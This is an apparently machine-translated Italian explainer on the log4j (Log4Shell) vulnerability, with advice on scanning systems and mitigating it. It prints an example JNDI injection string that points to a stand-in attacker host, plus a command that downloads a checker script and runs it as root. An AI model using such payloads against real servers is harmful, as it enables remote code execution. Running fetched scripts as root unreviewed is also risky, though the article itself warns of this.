È stato trovato un exploit critico nella diffusa libreria Java, che interrompe gran parte di Internet mentre gli amministratori del server si affrettano a risolverlo. Il componente vulnerabile, log4j, viene utilizzato ovunque come libreria inclusa, quindi dovrai controllare i tuoi server e assicurarti che siano aggiornati.
Come funziona questo exploit?
Per quanto riguarda gli exploit, l’ log4j ulnerabilità è di gran lunga una delle peggiori degli ultimi anni, segnando un raro 10/10 sulla scala CVSS e perseguiterà l’intera Internet per molti anni a venire.
Quel che log4j è peggio è che non è un’applicazione, è una libreria open source utilizzata da molte altre applicazioni. Potresti non averlo installato direttamente; potrebbe essere incluso in altri .jar file o installato da altre applicazioni come dipendenza.
In sostanza, consente agli aggressori di inviare del testo alla tua applicazione e, se lo registra da qualche parte (ad esempio, registrando una stringa di agente controllata dall’utente in un server Web), il tuo server eseguirà codice dannoso. Il formato del testo è simile al seguente esempio: una stringa estremamente semplice contenente un collegamento a un indirizzo remoto.
${jndi:ldap://attacker.com/a}
Il componente vulnerabile log4j è Java Naming and Directory Interface , che consente al framework di registrazione di effettuare richieste remote. Tranne che deserializza anche il file su quell’endpoint ed è in grado di caricare .class file contenenti codice remoto. Che è male.
Sono vulnerabile?
L’exploit è stato rapidamente log4jcorretto nell’ultima versione di , 2.16.0 , ma il problema non è risolverlo: è scoprire dove è necessario. Poiché log4j è una dipendenza incorporata, potrebbe non essere banale cercare la versione specifica di essa sul tuo sistema. E, poiché Java è così popolare, molti strumenti e componenti di terze parti potrebbero utilizzarlo, quindi potresti non sapere nemmeno se stai eseguendo software Java sulle tue macchine.
Anche se pensi di non essere vulnerabile, probabilmente devi comunque ricontrollare . Questo exploit colpisce così tanti sistemi che c’è una solida possibilità che tu possa essere in esecuzione log4j o Java senza rendertene conto.
Fortunatamente, le versioni JDK maggiori di 6u211, 7u201, 8u191e 11.0.1 non sono influenzate dal vettore di attacco principale (usando LDAP) che viene sfruttato maggiormente in questo momento. È comunque necessario correggerlo, poiché può essere facilmente utilizzato anche con altri vettori di attacco . Inoltre, il semplice atto di effettuare una richiesta a un endpoint può rivelare dati sulle macchine sulla rete, il che non è neanche una buona cosa.
Questo exploit mette in evidenza il motivo per cui è importante conservare una distinta materiali del software (SBOM), fondamentalmente un elenco di tutto il software sui sistemi, da dove proviene e di cosa è fatto. In futuro, questa conoscenza può aiutarti a correggere rapidamente attacchi come questo.
Nel presente, probabilmente sei solo preoccupato di ottenere la patch della tua rete. Per fare ciò, dovrai scansionare i tuoi sistemi per trovare le log4j versioni utilizzate dal tuo software e creare un elenco di tutti i componenti vulnerabili.
Scansione del sistema
Molte persone hanno già creato script per scansionare automaticamente i sistemi alla ricerca di installazioni vulnerabili, come questa popolare scritta in Python e questa della società di sicurezza LunaSec . Uno dei più facili da usare è questo semplice script bash , che può scansionare i tuoi pacchetti e identificare le log4j versioni, e può anche dirti se il tuo sistema sta usando Java in primo luogo. Nella maggior parte dei casi, ti consigliamo di eseguire più scansioni con script diversi, perché non è garantito che nessuno di questi sarà efficace al 100% nell’identificare ogni sistema vulnerabile.
Puoi scaricarlo ed eseguirlo con pochi comandi. Questo deve essere eseguito come root per scansionare l’intero sistema, quindi, ovviamente, fai attenzione a quali script esegui con i privilegi di root da Internet. Anche questa è esecuzione di codice arbitrario.
wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q chmod +x log4j_checker_beta.sh sudo ./log4j_checker_beta.sh
I risultati di questo script evidenziano esattamente ciò che rende questa log4j vulnerabilità così terribile: l’esecuzione sul mio server personale ha rivelato che ero vulnerabile all’exploit, giorni dopo lo zero-day, nonostante pensassi di non avere Java installato su questa macchina perché Non eseguo nessuno dei miei software Java.
Elasticsearch è in esecuzione in background su questa macchina, che è scritta in Java. Non ho dovuto installare Java manualmente per installare Elasticsearch; include una versione in bundle di OpenJDK. Include log4j in questa installazione ed è vulnerabile all’exploit.
La soluzione, almeno per Elasticsearch, è aggiornare tutti i pacchetti e seguire le loro guide di mitigazione. Questo sarà probabilmente il caso di qualunque software tu stia utilizzando; dovrai aggiornare log4j direttamente, aggiornare il software raggruppandolo o correggerlo con le migliori pratiche di mitigazione utilizzate da altre persone.
Se per qualche motivo non è possibile correggere il jar, è possibile utilizzare questo flag JVM per mitigare il problema, che indica semplicemente log4jdi non eseguire mai alcuna ricerca durante la formattazione dei messaggi. Tuttavia, questo non è raccomandato e dovresti provare a log4j installare 2.16.0 ovunque puoi per risolvere completamente il problema.
-Dlog4j2.formatMsgNoLookups=true